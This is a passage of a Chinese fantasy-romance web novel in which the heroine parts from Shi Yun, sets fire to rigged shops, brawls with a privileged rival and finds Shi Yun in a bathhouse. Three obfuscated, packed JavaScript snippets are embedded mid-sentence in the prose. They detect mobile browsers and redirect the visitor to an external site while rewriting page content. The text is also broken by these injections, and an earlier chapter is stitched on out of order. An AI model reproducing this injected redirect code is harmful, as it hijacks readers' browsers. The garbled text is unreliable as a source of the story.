施允打断了她的话:“当初我说仙洲遴选时会助你,以你现在的资质,入门遴选绰绰有余,我并没有食言。” 他淡淡地看向孟竹,“你还有什么话想说吗?” 她当然知道施允对她的帮助,已经足够多,让她在这个世界中有安身立命的资本。 “我想说的不是这个。” “那是什么?”施允抬眉,忽然想到什么,捏着手中的玉简转了转。 孟竹心说算了,想当初施允说出来历练,她还以为会挺久,没想到会这么突然,但想想,又觉得自己这话说出来矫情,像是在刻意挽留似的,施允更不是那么多愁善感的人。 他们之间的关系,本来就是这么岌岌可危。 不过……这样也好。 指甲掐入掌心,固执地想要抓住什么,又缓缓松开。 孟竹慢慢笑了下,道:“没什么,一路顺风。” 她的脸上带着明显的失落,一双大而黑的眼睛也显得有些无神。 施允望着孟竹的表情,嘴角不由自主地往上翘,他手指抵住鼻尖轻咳了一声,声音有些含糊:“……你可以用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938577|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个玉简和我联络。” 说完,他手向前伸了伸,将手里的玉简往她面前一递。 孟竹接过来,仔细观摩了一下,问:“这怎么用?” “你怎么什么都不知道?”施允道,“在里面灌入灵力,便能将声音传递给指定的人。” 啊,原来是个简易电话。 孟竹新奇地将玉简拿在手中打量,问他:“是只能和你说话,还是随便什么人都能联络啊?” 施允沉默一瞬,问:“你还想和谁联络?” “没见过嘛,我就随便问问。” 他的眉眼一松,轻哼一声:“想要玉简传音,需要对方也灌入自己的灵力,这东西只有仙洲的人才会用,除了我之外,你还认识谁?” “不认识。”孟竹说。 施允掏出另一块玉简,用眼神示意孟竹,她食指和中指并拢,在玉简上轻轻一划,玉简发出一阵灵光,转瞬即逝。 这便是玉简记住了她的气息。 手上的玉简忽然被另一支碰了下,发出清脆的碰撞声,孟竹抬眼,“怎么了?” “也不要总是用这个找我,我可没那么多时间应付你。”施允顿了一下,将玉简收入怀里,“除非……” 他的话没说完,但孟竹听出了他的意思,除非有什么特别要紧的事,不然不要去烦他。 孟竹依言答道:“知道了,不会打扰你的。” 可施允却并没放心的样子,脸色看起来更难看了。 一时无话,只有远处阿喜和照水的拌嘴声,让气氛显得不那么沉闷。 两人并肩站在花圃的栅栏旁,风把孟竹耳边的碎发扬起,施允用余光看着她平淡无波的面孔。 突如其来的烦躁。 一丝一缕,缠绕着,牵扯着。 心像是结了茧,有一只蝴蝶被困在其中,急欲破茧而出。 施允微微抿唇,“如果你实在想……” “你不同阿喜他们道别吗?” 两人同时开口,孟竹愣了一下,问他:“你方才说什么?” “没什么。” 他的视线移开,盯着她食指上的乾坤戒,向她伸出一只手,“手给我。” 孟竹将手放在他的掌心,施允在她的乾坤戒上轻轻点了一下,接触的一瞬间,她看见施允的无名指上,竟然有一个和她手上一模一样的龙血玉戒指。 大概是看出了孟竹的惊讶,他平静地解释:“你这乾坤戒是我随手用剩下的碎料做的,看起来一样,实际上天差地别,你懂么?” 孟竹点点头,“你放心,我懂。” 她当然不会再自作多情地以为施允喜欢自己的。 施允沉默了一瞬,捏着孟竹的手微微用力,孟竹皱眉,将手往外抽。 “孟竹。” 他松开手,静静站在原地看她,“一个人的时候,不要亏待自己。” “……嗯?” “走了。” “施允。”孟竹叫住他。 他的脚步一停,下意识转身。 “别回头。” “再见。”孟竹站在原地,明知道他看不见,还是笑了笑。 她望着那个已经走远的背影,看了很久。 好久以后,她才明白了施允那句话的意思。 望着无限空间中堆积如山的财富,孟竹瞠目结舌。 她被那些银子和灵石晃花了眼,两眼放光地喃喃着:“……施允真是个好人啊。” 26. 第 26 章 天启城,唯一凡界和仙洲的交界之城,仙洲每十年一次的遴选便是在此处进行。 天启城入口每十年对外开放一次,因此每次开放时会有很多人在此交易法器和灵药,价格十分昂贵,有门路的人会早早备好钱财交易,提高自身资质,能够在遴选中能够脱颖而出。 所以,除了那些天生就万里挑一的佼佼者,遴选出的大多是凡人界贵族人家的子弟。 自施允离开后,不知不觉已经过了数月,阿喜知道施允离开了之后,消沉了一段时间,直到孟竹从丽山离开那日,照水来送她,却不见阿喜的影子,她才从照水的口中知道,阿喜也离开了,同施允一样,都没有道别。 同施允分开后,那枚玉简便被她收在了乾坤戒的角落里,很久都没再想起来。 她和施允并不是那种互相能够保持问候的关系。 孟竹一路辗转来到天启城,来了两日她也大概摸清了城内的情况,来参选的多的是凡界的王公贵族或是富商巨贾,他们大多住在城内最大的客栈,问仙居。 天启城内不允许携带侍从,只有符合资格通过城外验灵石筛选的参选者才可以进入,这些人虽然进了天启城,还是不改往日盛气凌人的作风,孟竹避免麻烦,寻了个离问仙居不远的客栈住下。 不是她不想离是非之地远一些,只是问仙居的位置实在是好,位于天启城的中心,四通八达,她实在没必要舍近求远。 正式遴选是在三日之后,问仙居的人已经分成了几个不同的小团体,出身普通的参选者也同样,或是为了探听更多的信息,或是为了不受欺负。 有人抱团,自然也有人落单,孟竹就是其中一个。 考核台今日发布了告示,要求所有参选者自行准备好试炼所需要的法器和物资,三日后试炼之境开启。 告示中有一条醒目的提醒。 【一旦试炼开启,无法中途退出,生死自负,放弃遴选者三日内可自行离开。】 这条显然像个免责条款,告诉参选者进了这个试炼生与死都和仙洲没关系,怕死的赶紧离开。 果然,在这条告示之后,有一小部分人没多犹豫便收拾行囊出了城,为了一场难以预测结果的事情丢了性命,不划算。 仙可以不修,命没了就是真没了。 当然,大部分人都选择了留下来,毕竟俗话说得好,来都来了。 看完告示后,孟竹在街上转了转,她最近迷上了买各种各样的灵药,以备不时之需,人生地不熟,多准备着总没错。但是今日她又去了那家经常去的灵药铺子,掌柜的看了她一眼,摆摆手将她送出了门,告诉她所有的灵药都已经卖完了,让她明日再来。 起初孟竹并不觉得意外,毕竟遴选在即,城里多了那么多参选者,灵药自然有些供不应求。 她出了那间铺子,转身又进了另一间卖法器的店铺,却依然得到了相同的答复。 第三间、第四间…… 依旧如此。 就算再怎么紧缺,也不至于到了这种程度,孟竹靠在街角的墙上,盯着那几家联排的商铺,在她离开以后,又进去了几个人,同样很快就出来了。 不一会儿,转角处又走来几个孟竹眼熟的人,是和她住在同一间客栈的,其中有个叫韩韬的,很年轻,是个会来事的自来熟,还热情地邀请过孟竹加入他们的小团体,被孟竹拒绝了。 他们显然也是来购买物资的,几个人也同样吃了闭门羹,韩韬站在门口,脸色显然很难看,孟竹离得不远,恰好能听见他们的对话。 “看来明天我们要早点来了。” “问了几家铺子,都说是卖空了,怕不是那些住在问仙居的人出了高价提前把东西囤起来了吧?” “这可是违反规定的,他们怎么敢?” 韩韬一直没说话,拉着几个同行的人准备去别处碰碰运气,直到迎面碰上一行问仙居的人,他们说说笑笑,一路走到了店铺门口,为首的一名高个男子看了韩韬一眼,笑道:“呦,也来买法器啊?” 他的语气明显带着不善的挑衅意味:“买到了吗?” 韩韬怒视着那人,身体不受控制地向前,却被身后的同伴拉住了,“……算了吧。” 高个男子从头到脚打量了韩韬等人一圈,同身后几人交换了个眼神,不约而同发出一声嗤笑。 “什么阿猫阿狗都想来修仙了,真是好笑。” 说完,他们几人迈入了方才的店铺,这一次,他们很久都没有再出来。 几个人蔫头耷脑站在门口,像霜打的茄子,等他们走了以后,孟竹绕着附近转了几圈,又在附近买了些东西,直到天色渐黑,才看到那几个问仙居的人大摇大摆地出来,他们出来以后,店铺门很快落了锁。 坐在馄饨摊前,又吃了一碗馄饨,天色已经完全黑了,街上的行人也渐渐少了起来。 月黑风高,孟竹搓了搓手,转过身钻进了另外一条巷子,她走得很快,不一会儿便绕了个圈站在了一处矮墙外。 她能明显感觉到外围有一层像是薄膜一样的透视层,应该是有人设下的封印,一旦有人在此动用术法或灵力,很快便会引起注意。 很明显,防的就是她这种不请自来的人。 墙面很光滑,孟竹在墙角下抹了把灰正准备往上爬,就听到旁边传来一道声音:“……诶?” 她转过脸,望着站在阴影里的人,他靠着墙,正饶有兴致地打量着孟竹:“好巧。” “韩韬。”孟竹点头应声。 两个人对视一眼,都清楚地瞧见了对方眼里的意思。 孟竹三两下爬上了墙,坐着矮墙上往内院看,里面黑漆漆的,很安静,直到身后砰地响起人体落地的声音。 她有些无语地看着墙外摔得屁股着地的人。 韩韬吸了吸气,望着院墙上的孟竹有些纳闷:“这墙这么滑,你是怎么爬上去的?” 孟竹沉思了一下,说:“熟能生巧。” “……厉害。” 慢吞吞爬到一半,上面伸出来一只手将韩韬往上提。 身体骤然一轻,四肢修长的韩韬被人像拎小鸡仔一样抓着领子又丢了下去。 被一个姑娘这么对待,这显然让韩韬觉得有些羞耻,他轻咳了一声,从地上爬起来,道:“你力气还挺大的呢。” 孟竹没理他,食指竖在唇边,是一个噤声的手势。 他们贴着墙边往里走,这里是店铺的后院,不算大,走了没一会便找到了库房所在的地方。 库房的门上有一把锁,韩韬盯着那把锁,从袖口掏了个银质的弯丝出来,道:“别看我爬墙不行,开锁我可是一把好手。” 孟竹让了让身子,示意他快点。 时间一分一秒过去,韩韬的额头上出了一层薄薄的汗,被夜风吹干了几遍。 站在旁边望风的孟竹看了眼正在疯狂拧锁眼的人,面上的表情都显得狰狞了几分。 感受到孟竹的靠近,他没抬头,只觉得有些面红耳赤,解释道:“这个锁显然不是平常的锁,极为繁复,肯定用了特别的设计,若是平常……” 孟竹伸手,两只手握着往两边,用力一掰。 咔嗒一声,门锁应声而断。 韩韬:“……” 他看见孟竹平静地看了自己一眼,明明她没什么表情,他却觉得自己好像被嫌弃了。 这种简单粗暴的解决方式让韩韬觉得不可思议,他拿起那断成两截的门锁也试着像孟竹一样用力往外掰。 锁印深深嵌在手心,纹丝不动。 “……” 顺利进入库房以后,孟竹绕着屋里转了一圈,柜子上面数不清的法器和灵药,按照分类摆放在架子上,琳琅满目。 果然,不是卖完了,是只卖给指定的人。 或者说,这些店铺早就被人掌控在手中了。 韩韬沉下脸,语气明显变冷:“用这样的办法,真是卑劣。” 孟竹扫了一眼,发现这里大都是品阶低级的东西,想起今天那几个问仙居的人走出来时手上拿的法器,明显品阶较高,都是比较罕有的。 整间库房里,竟然找不到一件高阶的法器和灵药。 有个问题孟竹一直想不明白,她放下手中的一瓶丹药,想起了白天店铺掌柜拒绝她的话。 明明可以直接停售或者抬高价格,他们却偏偏绕了这么个圈子,告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946517|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人明日再来。 显然,所有的高阶法器和灵药都已经在这一天流入了那群特定的人手中,选剩下的劣等品才是他们明日开始能买到的东西。 至此,孟竹算是明白了为什么普通人和修仙之路基本绝缘了,这些人将资源全部都掌控在自己手中,就算是这么大型的遴选也能通过互相联合抱团将资源垄-断,筛选出的人就会在他们自己可以掌控的范围内。 韩韬自然也发现了这个事实,他咒骂一声:“监察使也被他们买通了,竟然做得这么明目张胆。” “监察使?”孟竹还没听过。 “是啊,不然你以为他们为什么这么麻烦,天启城作为试炼之城,所有的店铺都是仙洲派专人管理的,为了参选的公平,是禁止抬高物价和限售的,我听说曾经有一届就是出现了这种情况,被玉都的人发现了,特意颁布的这个条令,还派来了监察使坐镇。” “白天的时候我就发现不对劲了,肯定也有其他人发现不对劲,但是没人敢说,监察使更是睁一只眼闭一只眼。” 孟竹:“为什么?” 韩韬冷笑一声:“还能为什么?咱们可撞了大运了,跟仙洲凌氏的少爷一起参加选拔,人家是什么身份,能是我们这种人惹得起的吗?” 孟竹的脑海中浮现了一个人,大概就是问仙居那个被众人簇拥着的那个,“他既然身份这么尊贵,何不直接让人把他接回仙洲,要和我们参加遴选做什么?” 这样有权有势的人,应该就跟她当初在杨柳村碰见的那个小公主一样,她能把霍予直接带进仙洲,想必这个凌少爷也是一样。 “你以为他不想么?”韩韬道:“我看他做梦都想回仙洲过逍遥日子。” “可是他不能。” “别卖关子。”孟竹看了眼屋外,这里毕竟不是聊天的好地方。 韩韬靠在架子上,低声道:“他是私生子。” “听说凌氏的夫人根本不同意将他接回去,他若只是想安安分分做个小修士也就罢了,偏偏他想着回凌氏当少主,你说他挤在这里做什么,无非就是想证明自己的实力呗。” “那些人都靠着依附他生存,将什么好东西都握在手里,谁听话就给谁机会,最后遴选的结果出来,他可不就是最优秀的那个人吗?” 说完,他直起身子,讥讽道:“看来我们这趟来得没意义了,这些破烂能顶什么用?” “谁说我们是来偷东西的了?” 站在阴影中,韩韬看着面前的人眼睛微微弯起。 “不是吧……你不会……” 特制的火油一桶桶倾倒在地板上,哗啦啦流了一地。 韩韬瞪大眼睛,看着身边同他一样站在墙头的孟竹,她轻轻打了个响指,灵力像是被点燃的引线,瞬间引爆了一片火海。 嘭—— 剧烈的爆炸声一声接着一声,整条街道像被一条蜿蜒盘旋的火龙吞噬,火光映红了天空,迅速点燃了寂静的夜。 人声渐沸,耳鸣轰响。 有人站在高处的城楼上,看着天边被映红的那一片,黑漆漆的眼被火光照亮,又在看向高处的一瞬间暗了下来。 呆若木鸡的韩韬被人拽着,整个人飘在空中,又极速下坠。 因为速度太快,耳边刮过的风像是利刃一样,他的话也不成音调,只能对着孟竹的耳朵大喊—— “你胆子也太大了!被抓到怎么办?” “你在找死吗?” 孟竹在风中疾行,夜风将她的衣袍吹得猎猎作响。 她毫不在意地笑了笑,眼眸半弯着看向远方,“那就让他们来杀了我吧。” 伸手拨开眼前被吹乱的头发,孟竹逆着风向下。 韩韬看着她的眼睛,一瞬间心跳得很快。 整个人犹如失重般快速坠落。 片刻后,他们在无人的巷子里落了脚,孟竹摆了摆手,“走了。” 看着那逐渐离开的背影,韩韬忽然开口叫住了她:“你就这么走了?” “不然呢?”孟竹侧过脸,“你要去揭发我吗?” 她毫不在意地继续向前走,声音回荡在暗巷里。 “困了,回去吧。” 27. 第 27 章 这一把火烧得太旺,让整座天启城都沸腾起来。 第二日,所有人都对这件事议论纷纷,天启城内的监察使连夜开始调查纵火之人。 试炼之境后日就要开启,现在城内的参选者中,明面上来看,还有将近半数的人没有试炼法器,现下城中所有的法器铺全部被烧毁,现行炼制显然来不及。 考核台于当日发布了一则通知,本次试炼,所有人的试炼法器将由考核台统一提供,除了考核台提供的物资,不允许参选者自行携带。 历届的仙洲遴选从未出现过如此一视同仁的规则。 这条规则掀起了轩然大波,讨论度甚至压过了昨日夜里的大火,有人欢喜有人愁。 靠着窗,孟竹正在客栈内吃饭,坐在她对面的吕一忽然道:“有人来了。” 吕一是个性子冷淡的姑娘,是孟竹在这个客栈认识的,她的话不多,也没有和人抱团,始终都是独来独往。 大概是看孟竹也和她一样,两个人经常在吃饭的时候碰到,见面也会点点头打个招呼,算是半个饭搭子。 孟竹顺着吕一的视线望向门口,客栈门口进来一群华冠丽服之人,将本就不大的客栈围了个水泄不通。 有人端来凳子,有人奉上茶水,为首那人坐了下来,手里捧着茶盏,慢悠悠看向孟竹。 “看来你心情不错,还能吃得下饭。” 领头这人孟竹认识,名叫凌宿,看起来应该是问仙居几个小团体中地位最高的一个,所有人都跟在他后面,应该就是韩韬昨夜所说的那个凌少爷。 孟竹又夹了菜,继续吃饭,眼皮都没抬一下。 静了静,旁边立刻有人接话:“公子在与你说话,你听不见吗?” 今天的排骨有点咸,孟竹又喝了点水,把碗里剩的饭吃完,才抬眼问他:“你在跟我说话吗?” 凌宿大概是从没见过这样的人,他抬手,身边的人立刻会意。 一杯滚烫的茶水被端了起来,眨眼间就要泼向孟竹。 下一秒,一阵巨力袭来,茶水在空中泼洒,冒着热气的茶盏转眼间砸向地面。 孟竹站起身,干净利落地一脚将人踹翻,飞出数米,客栈的墙壁一瞬间被砸了个人形的窟窿。 她手中端着没吃完的那份排骨,大步一跨迅速来到凌宿面前,在众人呆滞的视线中将盘子啪地一下扣在了凌宿的头上。 甜腻的、带着余热的粘稠汤汁顺着凌宿的下颌滴落。 他呆愣了片刻,才从愣怔的状态变为不可置信的愤怒,瞪着孟竹的视线如刀割一般:“你竟然敢!” 孟竹松开手,手上的盘子应声落下,裂成了一地的碎瓷片。 “初次见面,请你吃糖醋排骨。” 她笑了笑,说:“吃啊,不用客气。” 周围的声音一霎那变得很安静,只有几道明显的吸气声。 凌宿猛地起身,一道凌厉罡风劈来,孟竹反应极快,迅速下腰,一记重拳狠狠砸在凌宿的腹部。 他被击飞倒退数丈,只一招间,他便发现了,孟竹的修为在他之上。 可这怎么可能? 凌宿忍住喉口的腥甜,抬手制止了身边的人的搀扶,面色阴鸷地盯着孟竹,“昨夜,是你放的火。” 这种明显的陈述句,显然是已经查到了她身上,孟竹面不改色心不跳地撒谎:“没有证据的话可别乱说。” 她是故意的,凌宿想。 他的视线缓慢地上移,对上了孟竹平静的双眼,脑海中忽然想起昨晚发生大火时,他第一时间就收到了消息。 这里所有的监察使都是他的眼线,他们毫不费力地就确定了放火之人,她甚至没有隐蔽行踪,大摇大摆地离开。 在这个远离仙洲的边界之城,依靠父亲给的权利,他在这里几乎是说一不二的存在,没有人敢这样明目张胆地挑衅他,还将他苦心经营的一切毁于一旦。 她火烧商铺的目的无非就是想把事情闹大,引起玉都之人的重视,从而派人来调查,他垄_断交易一事也会因此而曝光。 愚蠢。 在这里,他们这等出身的人,反抗有什么用? 不依附他,只有任人宰割的命运。 想到此,凌宿倏地笑了起来,他擦着脸上的汤汁,声音甚至带了几分兴致盎然:“你是不是觉得自己厉害极了?” 凌宿一步步走近,他比孟竹高了半个头,微微俯身,在孟竹耳边,用只有两个人听得到的声音说:“无论你闹得再大,也永远不会有人插手这些事,想当这个出头鸟,也要掂量掂量自己到底有几斤几两。” 面对凌宿的指控,孟竹否认道:“你错了,我可没那么多弯弯绕绕的想法,谁管你们这些人的阴谋算计。” 她摊手,明摆着不承认:“再说了,这些跟我有什么关系?” “你——” 孟竹的余光看见他起身时,垂在身侧的一缕头发上挂了一丝汤汁,马上就要蹭到她身上—— 她下意识地伸手一推,凌宿一屁股又坐回椅子上,椅子向后猛的一滑,发出刺耳的摩擦声。 “你真是不爱干净,汤都弄我身上了。”说完这句话,她自己也愣了一下。 方才的一瞬间,不知道为何,想起了一个很久没见的人,真是被他的习惯都传染了。 一旁不知道何人憋不住笑了一声,众人早就看凌宿汤汁挂面似的头发憋不住了,有人开了头,就像泄了气的气球似的,笑声一声声往外冒。 凌宿哪里受过这等委屈,青红交加的脸色更加难看。 “是么?”孟竹站得离他远了些,又问他:“如果真像你说得那样,那你在气急败坏什么?” 如果丝毫没有影响,就绝对不会出现新的规则,这条规则明显利好的不是凌宿这一方。 他在虚张声势。 凌宿面色一僵,想起临走时得到的消息,脸色几经变换。 天启城内,有一股势力不动声色地渗入了内部,像是一只无形的手掌控着一切。 翻手为云,覆手为雨。 他想要从中探查到这股势力的来源,所有的线索却都在一夜之间断掉。 只是无论如何,面前这个惹事的人太过惹人注目,绝对不能再留了。 凌宿使了个眼色,“抓住她。” 周围的人一瞬间围了过来,他们依附着凌宿,对凌宿唯命是从。 可也有反抗的声音一道道冒了出来。 “凭什么抓她?只许州官放火,不许百姓点灯吗?” “就是,谁不知道是你们在里面使绊子,公平吗?” “上啊,姑娘都不怕,咱们怂什么?” 场面一时间混乱极了,所有的人都主动或者被动地陷入了混战。 这些年轻人热血上头,认识的,不认识的,通通被抓过来凑热闹,客栈里乱成了一锅粥。 被这股反抗的力量点燃,多的是见不过问仙居这帮人盛气凌人做派的人,干脆掀桌子一起打了起来。 没想到凌宿光天化日就敢在客栈抓她,看着密密麻麻人海一样的人朝她扑过来,孟竹用力一掀撂翻几个。 韩韬不知道什么时候挤了过来,状况比她差多了,脸上也挨了几脚,他手护着头,对着孟竹喊:“跑跑跑啊!” 当然要跑。 孟竹用眼神对韩韬表达了感谢。 “你跑什么!”凌宿大喝一声,遥遥指着孟竹:“追啊废物们!” 有病。 不跑还等着你逮我么? 孟竹脚下的动作更快,身后跟着一群人对她喊打喊杀,她越跑越远,专门往人多的地方钻。 到后来,追着她跑的人越来越多,宛如一条长龙,孟竹回头一看,简直纳闷。 她犯天条了? 抬眼看了看不远处巍峨的门头,孟竹毫不犹豫地往里钻。 “禁止擅闯考核台——” 门口守卫的话还没说完,身后的人群像潮水一样涌上来,正是情绪上头的时候,哪里注意到这里是什么地方。 趁着守卫门忙着应付门口的人群时,孟竹猫着腰绕到一处偏僻的墙边,松了松筋骨,极为灵活地翻墙而入。 追着人过来的凌宿一抬手,制止了身后人的动作。 “这个蠢货,考核台的人正好在调查纵火案,这就送上门去了。”他盯着那个已经消失的背影,递给身边人一块令牌。 “随便找个由头处理掉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946518|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢,凌宿又补了一句:“要快。” “是。” - 考核台的内部很大,布局极为开阔,一眼望去,守卫众多。 孟竹选了一处无人的地方跳下去,沿着回廊躲避着守卫的巡查,她方才发现最东边有一处僻静的院落布置最为雅致,越靠近那处院落,守卫就越稀少,她毫不犹豫地沿着一处窄门躲进了院子。 庭院中草木葳蕤,是个很适合隐藏身形的地方,不知道这个院落的主人在考核台是什么身份,从她这一路观察来看,应该地位不低。 院落里的布置格外讲究,干净得让她感到有一丝诡异的熟悉。 孟竹放轻脚步,贴着墙壁,用余光观察着,墙后有一队守卫正好经过,低低的谈话声传进了她的耳朵。 “上面说有可疑的人进来了。” 似乎在忌惮着什么,守卫们的声音压得很低。 “尽快把人找出来,但是不能打扰了那位的清静,知道吗?” “这里大概看看就行了,去别的地方吧。” 孟竹松了口气,墙后的守卫似乎准备离开。 忽然脚边传来一阵毛茸茸的触感,孟竹低头。 “喵——” 一只野猫正坐在她脚边,似乎是饿了,正在冲她讨食。 墙后的脚步声一顿。 “喵——” 猫又叫了一声。 “怎么回事?” 守卫们的声音响起,脚步声越来越近。 孟竹迅速换了个地方,看了眼离自己最近的一面窗户,在守卫走进来之前,打开窗户翻了进去—— 水声翻腾,溅落。 “别动。” 浴池中热气升腾,隔着一片水雾,孟竹只看见那人背对着自己,宽肩窄腰,听到她的声音时似乎僵了一瞬。 孟竹没想到一跳进来竟然是个带浴池的房间,宽阔极了,她根本无处可藏。 她只能先发制人跳进了浴池,手臂处藏着的短刃迅速滑下来,抵着那人的喉咙。 窗外传来守卫的询问声,带着些小心翼翼的讨好:“公子……您那边有没有进来什么可疑的人?” 孟竹贴着那人的后背,手腕朝前捏住他的下颌,“不要回头。” 银色的薄刃轻轻割破白皙的皮肤,鲜血顺着脖颈滴落,浴池中点染出一朵朵血花。 孟竹贴近那人的耳廓,在他耳边轻声道:“别乱说话,否则……你知道下场。” 没有人应声,身前的人始终一言不发。 死寂一样的安静。 “公子?”门外的声音犹犹豫豫:“咱们要不要进去看看?” “检查一下总没错。”声音停了一下,“人好像不在,进去吧。” “说话。”孟竹反过手拍了拍他的脸。 他似乎轻哼了一声,孟竹想到他会大喊大叫,却没想到这人还是一声不吭。 门栓动了动,人声越来越近。 “公子,我等奉命捉拿可疑之人,打扰了。” 孟竹暗骂一声,掐住那人的脖子将人按在水里,那人似乎尤为气定神闲,就这样被按在水里依然一声不吭,甚至连挣扎都没有。 看着荡在水面上流墨似的乌发,她嗅到了丝丝熟悉的香气。 乌发一丝一缕,缠绕住孟竹的手指。 她面无表情地盯着。 嘴唇动了动,喉咙里溢出一声与她表情截然不同的夸张呻-吟。 那声音柔媚婉转,莺啼似的,带着刻意的喘息。 水下的身影猛地一僵。 门外的脚步声变得凌乱无序,逐渐远去了,还带着磕磕绊绊的道歉声:“对对对对不起,打扰公子了!” 孟竹拇指按住脖颈的地方轻轻摩挲了一下,手下的肌肉立刻变得更加僵硬。 下一秒,她将人从水里拎出来。 隔着深重的雾气,一张熟悉的脸若隐若现。 水珠顺着冷白的皮肤滑落,湿红的眼尾下,那双乌浓的长睫颤了颤,狭长的眼中如雾般朦胧。 这样风华绝代的容貌,只要见过一次,便再也不会忘记。 她听见自己的声音。 “施允,别来无恙。” 23-30 第23章 哄他 入夜不久,月亮被云层遮挡,清亮的月光像是笼了一层薄纱,显得朦胧了许多。 竹园外的一处小径上,正站着方才半途折返的孟竹,目光正盯着不远处的屋子。 曲径通幽,夜深人静,有脚步声响起,逐渐近了。 “施允。”孟竹喊了一声。 他恍若未闻,抬脚往边上走。 这条小径狭窄,仅容一人通过,孟竹后退着挪了两步,胳膊一伸就挡住了他的去路。 施允掀起眼皮,淡淡睨她一眼,仿佛在无形地质问。 “我们谈谈。” 意料之中,并没有得到任何回答,孟竹忽然意识到,原来施允真正生气的时候,并不是像她以为的那样会大发雷霆。 她对他所有的了解,都建立在—— 她以为。 “对不起,我是来跟你道歉的,之前是我不对。”孟竹抿唇,接着道:“你想怎么骂我都可以。” 风声穿过竹林,沙沙作响。 很久没有回答,她仿佛在自言自语。 “孟竹。” “嗯。”孟竹抬眼,正好和他的视线对上,“你骂吧,我听着。” 施允看起来有些心不在焉,闻言蓦地一笑,笑意很浅,转瞬即逝。 “我有没有说过,我很讨厌你?” 孟竹点头。 她当然清楚,他强调过很多次。 施允浅浅吐出一口气,又说了一遍,像是自言自语:“对,我很讨厌你。” 被人当面说很讨厌自己是一件很尴尬的事情,这件事情还重复了两次,孟竹抿抿唇:“我知道。” “崔萝姑娘是个很好的人,她又好心收留了我们这么久,于情于理,我都……” 借口。 全是借口。 她话没说完,施允忽然出声打断了她:“所以你的情理,是将我推出去?” 他站在月夜下的竹影中,语气又沉又冷:“孟竹,你以为你是谁?” 她无法辩驳。 孟竹觉得自己的解释很多余,只能无奈道:“是我的错。” “无论怎么样,我都不该骗你。” 说实话,潜意识里,她的确认为这件事算不得什么。 骗了又如何?没骗又如何? 人与人之间,真真假假,你来我往,不过都是戴着面具生活的傀儡罢了。 “对不起。” 孟竹嘴里说着道歉的话,看起来很诚恳的样子。 可不知为何,他没感受到半分诚意。 施允沉默了片刻,微微抬眸看了过来:“除了这句话,你就没什么别的想同我说?” “别生气了。” 伸手推开孟竹拦着的胳膊,施允往前走,他身高腿长,刻意甩开距离的时候走得很快。 这时候退缩的话,矛盾没解决不说,前面的道歉也功亏一篑了。 “施允——” 孟竹皱了皱眉,大步上前,脚下踩到了一片湿泥,猛的朝后滑了一下。 下意识地闭上眼,意料之中的疼痛却没发生,她的胳膊被人稳稳扶住。 施允将她扶好,然后退开,站得离她两步远,道:“少来这套。” 孟竹喘口气,有些茫然地抬眼:“什么?” 他抱臂站在原地,眼睛盯着孟竹,目光像是审视一样将她从头到脚打量了个遍,语气却莫名松缓了些:“这种伎俩以后还是少用。” 说谎骗人这事肯定是不对的,孟竹点点头,道:“知道了。” 她抿唇笑了笑,想要缓和气氛:“还生气呢?” 敛着的眉眼稍稍松开,施允偏开视线,盯着远处闪烁的灯火。 “你知道崔萝跟我说了什么吗?” 孟竹:“大概知道。” 视线转过来,他的声音忽然放慢,缓缓道:“那……她说她喜欢我,你也知道吗?” “……嗯。”她和崔萝同吃同睡,想不知道都难。 看着施允的眉又有重新拧在一起的趋势,孟竹轻声道:“但是这种事情也要两厢情愿才行吧。” “是么?”施允忽然道,“你怎么就确定我和崔萝不是两厢情愿呢?” 孟竹抬眼:“那你是吗?” 施允不说话了。 孟竹又问:“你真心喜欢崔萝姑娘吗?” 他的唇抿成一条线,微微向下,垂眼盯着眼前孟竹,看着月光照在她脸上,照在她忽然晕开的两颗浅浅的梨涡上。 孟竹忽然笑开:“你不是,对不对?” “即使我不是那么了解你,但你不是会随便给出承诺的人。” 从某一方面来说,施允是个很绝情的人,但孟竹所需要的,正是他这样的绝情,不会因为一时兴起随便给人希望,将名为爱恋的萌芽扼杀在摇篮里。 因为不会随意让人靠近,因为不会心软,因为不会让人产生希望,她才会觉得安心。 有时候干脆利落的拒绝,比心软的拖泥带水让人受到的伤害更小一些。 到处都静悄悄的,偶尔有几声虫鸣,月亮爬至高处,拖长了二人的影子。 孟竹往前靠了靠,声音轻轻的:“不生气了吧,施允?” 施允微低着头,不看她。 她想了想,将头凑了过去,正好歪到施允的视线内,“实在不解气的话,要不你也骗我一次,我保证不生气。” 孟竹的表情很诚恳:“我说真的。” 从这个角度,孟竹正好能看见那双被长睫覆盖住的眼睛。 施允抿唇,偏头侧开视线,她听到他的声音,很轻。 “好。” 小径上竹影交错,从这里走出去,便能看到点着灯火的院子,远远飘来好闻的花香。 